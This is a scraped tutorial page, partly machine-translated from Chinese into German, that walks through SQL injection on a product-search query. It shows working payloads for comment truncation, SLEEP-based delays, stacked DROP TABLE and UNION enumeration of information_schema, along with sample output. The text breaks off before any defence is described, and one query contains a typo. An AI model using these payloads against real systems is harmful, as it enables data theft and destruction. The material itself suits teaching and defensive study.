Heim Datenbank SQL Verstehen Sie schnell die Grundprinzipien der SQL-Injektion

Verstehen Sie schnell die Grundprinzipien der SQL-Injektion

Nov 29, 2019 pm 02:41 PM
sql注入 原理

Verstehen Sie schnell die Grundprinzipien der SQL-Injektion

Grundprinzipien der SQL-Injection

Die WEB-Technologie entwickelt sich mit jedem Tag weiter, das traditionelle Handwerk, SQL mit bloßen Händen zu buchstabieren, jedoch schon immer noch bei vielen Entwicklern beliebt. Denn im Vergleich zum Erlernen eines komplexen Satzes von ORM-Regeln ist die manuelle Ausführung bequemer und intuitiver. Normalerweise müssen Leute, die selbst SQL schreiben, gehört haben, dass SQL-Injection gefährlich ist, aber sie denken immer bei sich: Meine SQL-Anweisung ist so einfach, dass sie nicht injiziert werden kann.

Nehmen Sie sich 5 Minuten Zeit, um dieses vollständige Beispiel zu lesen, und wagen Sie von nun an kein Risiko mehr.

Einfaches Szenario

Es gibt eine WEB-Schnittstelle, die die Eingabe von Produktnamen ermöglicht und entsprechende Informationen zu Preis, Produktionsdatum und Produktionsstandort anzeigt. Geben Sie beispielsweise „Hammer“ ein, um Folgendes anzuzeigen:

产品 价格 生产地 生产日期
Claw Hammer 12.98 American 2019.11.07
Club Hammer 29.98 Canada 2019.11.11

Wir überspringen den Prozess der Erstellung einer Websuchoberfläche und konzentrieren uns direkt auf den wichtigsten Teil: SQL-Injection.

Wenn Sie die obige Funktion implementieren möchten, können wir ungefähr davon ausgehen, dass die vom Server verwendete SQL-Anweisung wie folgt lautet:

SELECT ? FROM ? WHERE ? LIKE '%Hammer%';
Nach dem Login kopieren

wobei ? bedeutet, dass wir die spezifischen Informationen derzeit nicht kennen Tabellenname und Feldname, und diese SQL ist eindeutig. Was manipuliert werden kann, ist der Eingabeinhalt in einfachen Anführungszeichen „%Hammer%“. Wenn wir direkt ein einfaches Anführungszeichen in das Suchfeld eingeben. Das heißt, es wird zu

select ? from ? where ? Like '%'%';
Nach dem Login kopieren

. Dieses Zusammenfügen führt zu einem SQL-Syntaxfehler und es werden keine Ergebnisse erhalten. Wir müssen -- verwenden, um das letzte einfache Anführungszeichen auszukommentieren. Auf

select ? from ? where ? Like '%'; -- %';
Nach dem Login kopieren

-- folgt der Kommentarinhalt (Sie können auch # verwenden), damit Sie alle Produktinformationen erhalten. Bisher gibt es noch kein Gefahrensignal.

产品价格生产地生产日期
Claw Hammer12.98American2019.11.07
Club Hammer29.98Canada2019.11.11
Paring Knife10.98China2019.11.11
Boning Knife19.98China2019.01.01

Probieren Sie es aus und

Behalten Sie den erweiterbaren Teil mit einfachen Anführungszeichen im vorherigen Schritt bei. Versuchen wir es mit einer einfachen Verzögerungsanweisung:

select ? from ? where ? Like '%Hammer%' and 1 = SLEEP(2); -- %';
Nach dem Login kopieren

Zu diesem Zeitpunkt dauert es 2 Sekunden, bis die Abfrage das Ergebnis zurückgibt. Wenn die Zeit verlängert wird, verwenden Sie das Skript, um mehrmals abzufragen, und der Datenbankverbindungspool kann sein in einem Rutsch wiederhergestellt.

Natürlich gibt es noch zerstörerischere!

select ? from ? where ? Like '%Hammer%'; drop table xxxx; -- %';
Nach dem Login kopieren

Sie können die Tabelle/Datenbank direkt löschen. Wie erfahren Sie, welche Tabellen sich in der Datenbank befinden (d. h. wie ermitteln Sie xxxx im vorherigen SQL-Satz)?

Machen Sie mit Union, was Sie wollen

Wir müssen wissen, welche Tabellen diese Datenbank hat! Nur so können Sie nützliche Informationen erhalten.

Mit Union können Sie die Inhalte verschiedener Tabellen zusammenfügen. Probieren Sie es aus:

select ?,?,?,? from ? where ? Like '%Hammer%' UNION (select 1,2,3,4 from dual); -- %';
Nach dem Login kopieren
产品价格生产地生产日期
Claw Hammer12.98American2019.11.07
Club Hammer29.98Canada2019.11.11
1234

可以看到我们把假数据1,2,3,4成功地拼接到搜索结果中。

Mysql系统自带的信息都存在information_schema数据库中。我们试着在里面找找有用的信息。

select ? from ? where ? Like '%Hammer%' UNION (select TABLE_NAME,TABLE_SCHEMA,3,4 from information_schema.tables); -- %';
Nach dem Login kopieren
产品价格生产地生产日期
Claw Hammer12.98American2019.11.07
Club Hammer29.98Canada2019.11.11
authorshawkeye34
productshawkeye34
userhawkeye34
........34

现在知道了这些数据库名和表名,所有人都对它为所欲为了!(包括上面执行的DROP)。

看着列表一猜就能知道我们目前查的是products表,接下来我们再把products具体的字段也挖出来。

select ? from ? where ? Like '%Hammer%' UNION (select COLUMN_NAME,TABLE_SCHEMA,3,4 from imformation_schema.columns where table_name = 'products'); -- %';
Nach dem Login kopieren
产品价格生产地生产日期
Claw Hammer12.98American2019.11.07
Club Hammer29.98Canada2019.11.11
idhawkeye34
namehawkeye34
pricehawkeye34
addresshawkeye34
updated_athawkeye34

所以,通过上面2步,我们知道了表名和字段名,那么查询API的完整SQL应该是(把上面的?都补全啦):

select name,price,address,updated_at from products where name like '%Hammer%';
Nach dem Login kopieren

通过不断重复以上几个步骤,你就可以通过这一个小小的入口把数据库的所有信息(比如上面发现的user表

Das obige ist der detaillierte Inhalt vonVerstehen Sie schnell die Grundprinzipien der SQL-Injektion. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!

Erklärung dieser Website
Der Inhalt dieses Artikels wird freiwillig von Internetnutzern beigesteuert und das Urheberrecht liegt beim ursprünglichen Autor. Diese Website übernimmt keine entsprechende rechtliche Verantwortung. Wenn Sie Inhalte finden, bei denen der Verdacht eines Plagiats oder einer Rechtsverletzung besteht, wenden Sie sich bitte an admin@php.cn

Heiße KI -Werkzeuge

Undresser.AI Undress

Undresser.AI Undress

KI-gestützte App zum Erstellen realistischer Aktfotos

AI Clothes Remover

AI Clothes Remover

Online-KI-Tool zum Entfernen von Kleidung aus Fotos.

Undress AI Tool

Undress AI Tool

Ausziehbilder kostenlos

Clothoff.io

Clothoff.io

KI-Kleiderentferner

AI Hentai Generator

AI Hentai Generator

Erstellen Sie kostenlos Ai Hentai.

Heißer Artikel

R.E.P.O. Energiekristalle erklärten und was sie tun (gelber Kristall)
1 Monate vor By 尊渡假赌尊渡假赌尊渡假赌
R.E.P.O. Beste grafische Einstellungen
1 Monate vor By 尊渡假赌尊渡假赌尊渡假赌
Will R.E.P.O. Crossplay haben?
1 Monate vor By 尊渡假赌尊渡假赌尊渡假赌

Heiße Werkzeuge

Notepad++7.3.1

Notepad++7.3.1

Einfach zu bedienender und kostenloser Code-Editor

SublimeText3 chinesische Version

SublimeText3 chinesische Version

Chinesische Version, sehr einfach zu bedienen

Senden Sie Studio 13.0.1

Senden Sie Studio 13.0.1

Leistungsstarke integrierte PHP-Entwicklungsumgebung

Dreamweaver CS6

Dreamweaver CS6

Visuelle Webentwicklungstools

SublimeText3 Mac-Version

SublimeText3 Mac-Version

Codebearbeitungssoftware auf Gottesniveau (SublimeText3)

Analyse der Funktion und des Prinzips von Nohup Analyse der Funktion und des Prinzips von Nohup Mar 25, 2024 pm 03:24 PM

Analyse der Rolle und des Prinzips von nohup In Unix und Unix-ähnlichen Betriebssystemen ist nohup ein häufig verwendeter Befehl, mit dem Befehle im Hintergrund ausgeführt werden können. Selbst wenn der Benutzer die aktuelle Sitzung verlässt oder das Terminalfenster schließt, kann der Befehl ausgeführt werden werden weiterhin ausgeführt. In diesem Artikel werden wir die Funktion und das Prinzip des Nohup-Befehls im Detail analysieren. 1. Die Rolle von Nohup: Befehle im Hintergrund ausführen: Mit dem Befehl Nohup können wir Befehle mit langer Laufzeit weiterhin im Hintergrund ausführen lassen, ohne dass dies dadurch beeinträchtigt wird, dass der Benutzer die Terminalsitzung verlässt. Dies muss ausgeführt werden

Ausführliche Diskussion der Prinzipien und Praktiken des Struts-Frameworks Ausführliche Diskussion der Prinzipien und Praktiken des Struts-Frameworks Feb 18, 2024 pm 06:10 PM

Prinzipielle Analyse und praktische Erkundung des Struts-Frameworks. Als häufig verwendetes MVC-Framework in der JavaWeb-Entwicklung verfügt das Struts-Framework über gute Entwurfsmuster und Skalierbarkeit und wird häufig in der Anwendungsentwicklung auf Unternehmensebene verwendet. In diesem Artikel werden die Prinzipien des Struts-Frameworks analysiert und anhand tatsächlicher Codebeispiele untersucht, um den Lesern zu helfen, das Framework besser zu verstehen und anzuwenden. 1. Analyse der Prinzipien des Struts-Frameworks 1. MVC-Architektur Das Struts-Framework basiert auf MVC (Model-View-Con

Vertiefendes Verständnis des Batch-Insert-Implementierungsprinzips in MyBatis Vertiefendes Verständnis des Batch-Insert-Implementierungsprinzips in MyBatis Feb 21, 2024 pm 04:42 PM

MyBatis ist ein beliebtes Java-Persistenzschicht-Framework, das in verschiedenen Java-Projekten häufig verwendet wird. Unter diesen ist das Einfügen von Stapeln ein häufiger Vorgang, der die Leistung von Datenbankvorgängen effektiv verbessern kann. In diesem Artikel wird das Implementierungsprinzip von Batch Insert in MyBatis eingehend untersucht und anhand spezifischer Codebeispiele detailliert analysiert. Batch-Einfügung in MyBatis In MyBatis werden Batch-Einfügungsvorgänge normalerweise mit dynamischem SQL implementiert. Durch Konstruieren eines S, das mehrere eingefügte Werte enthält

Eine ausführliche Diskussion der Funktionen und Prinzipien von Linux-RPM-Tools Eine ausführliche Diskussion der Funktionen und Prinzipien von Linux-RPM-Tools Feb 23, 2024 pm 03:00 PM

Das RPM-Tool (RedHatPackageManager) in Linux-Systemen ist ein leistungsstarkes Tool zum Installieren, Aktualisieren, Deinstallieren und Verwalten von Systemsoftwarepaketen. Es ist ein häufig verwendetes Tool zur Verwaltung von Softwarepaketen in RedHatLinux-Systemen und wird auch von vielen anderen Linux-Distributionen verwendet. Die Rolle des RPM-Tools ist sehr wichtig. Es ermöglicht Systemadministratoren und Benutzern die einfache Verwaltung von Softwarepaketen auf dem System. Über RPM können Benutzer problemlos neue Softwarepakete installieren und vorhandene Software aktualisieren

Ausführliche Erläuterung des Prinzips des MyBatis-Paging-Plug-Ins Ausführliche Erläuterung des Prinzips des MyBatis-Paging-Plug-Ins Feb 22, 2024 pm 03:42 PM

MyBatis ist ein hervorragendes Persistenzschicht-Framework, das Datenbankoperationen basierend auf XML und Anmerkungen unterstützt. Es ist einfach und benutzerfreundlich und bietet außerdem einen umfangreichen Plug-In-Mechanismus. Unter diesen ist das Paging-Plugin eines der am häufigsten verwendeten Plug-Ins. Dieser Artikel befasst sich mit den Prinzipien des MyBatis-Paging-Plug-Ins und veranschaulicht es anhand konkreter Codebeispiele. 1. Paging-Plug-In-Prinzip MyBatis selbst bietet keine native Paging-Funktion, Sie können jedoch Plug-Ins verwenden, um Paging-Abfragen zu implementieren. Das Prinzip des Paging-Plug-Ins besteht hauptsächlich darin, MyBatis abzufangen

Laravel-Entwicklungshinweise: Methoden und Techniken zur Verhinderung von SQL-Injection Laravel-Entwicklungshinweise: Methoden und Techniken zur Verhinderung von SQL-Injection Nov 22, 2023 pm 04:56 PM

Hinweise zur Laravel-Entwicklung: Methoden und Techniken zur Verhinderung von SQL-Injection Mit der Entwicklung des Internets und der kontinuierlichen Weiterentwicklung der Computertechnologie ist die Entwicklung von Webanwendungen immer häufiger geworden. Während des Entwicklungsprozesses war Sicherheit schon immer ein wichtiges Thema, das Entwickler nicht ignorieren können. Unter anderem ist die Verhinderung von SQL-Injection-Angriffen eines der Sicherheitsprobleme, das während des Entwicklungsprozesses besondere Aufmerksamkeit erfordert. In diesem Artikel werden verschiedene Methoden und Techniken vorgestellt, die häufig in der Laravel-Entwicklung verwendet werden, um Entwicklern dabei zu helfen, SQL-Injection wirksam zu verhindern. Parameterbindung verwenden Die Parameterbindung ist Lar

Eine ausführliche Analyse der Funktionen und Arbeitsprinzipien des Linux-Befehls chage Eine ausführliche Analyse der Funktionen und Arbeitsprinzipien des Linux-Befehls chage Feb 24, 2024 pm 03:48 PM

Der Befehl chage im Linux-System ist ein Befehl zum Ändern des Kennwortablaufdatums eines Benutzerkontos. Er kann auch zum Ändern des längsten und kürzesten nutzbaren Datums des Kontos verwendet werden. Dieser Befehl spielt eine sehr wichtige Rolle bei der Verwaltung der Benutzerkontosicherheit. Er kann die Nutzungsdauer von Benutzerkennwörtern effektiv steuern und die Systemsicherheit verbessern. So verwenden Sie den Befehl chage: Die grundlegende Syntax des Befehls chage lautet: chage [Option] Benutzername. Um beispielsweise das Ablaufdatum des Kennworts des Benutzers „testuser“ zu ändern, können Sie den folgenden Befehl verwenden

Die Grundprinzipien und Methoden zur Implementierung von Vererbungsmethoden in Golang Die Grundprinzipien und Methoden zur Implementierung von Vererbungsmethoden in Golang Jan 20, 2024 am 09:11 AM

Die Grundprinzipien und Implementierungsmethoden der Golang-Vererbungsmethoden In Golang ist die Vererbung eines der wichtigen Merkmale der objektorientierten Programmierung. Durch Vererbung können wir die Eigenschaften und Methoden der übergeordneten Klasse verwenden, um die Wiederverwendung und Erweiterbarkeit von Code zu erreichen. In diesem Artikel werden die Grundprinzipien und Implementierungsmethoden der Golang-Vererbungsmethode vorgestellt und spezifische Codebeispiele bereitgestellt. Das Grundprinzip der Vererbungsmethoden In Golang wird die Vererbung durch die Einbettung von Strukturen implementiert. Wenn eine Struktur in eine andere Struktur eingebettet ist, ist die eingebettete Struktur eingebettet

See all articles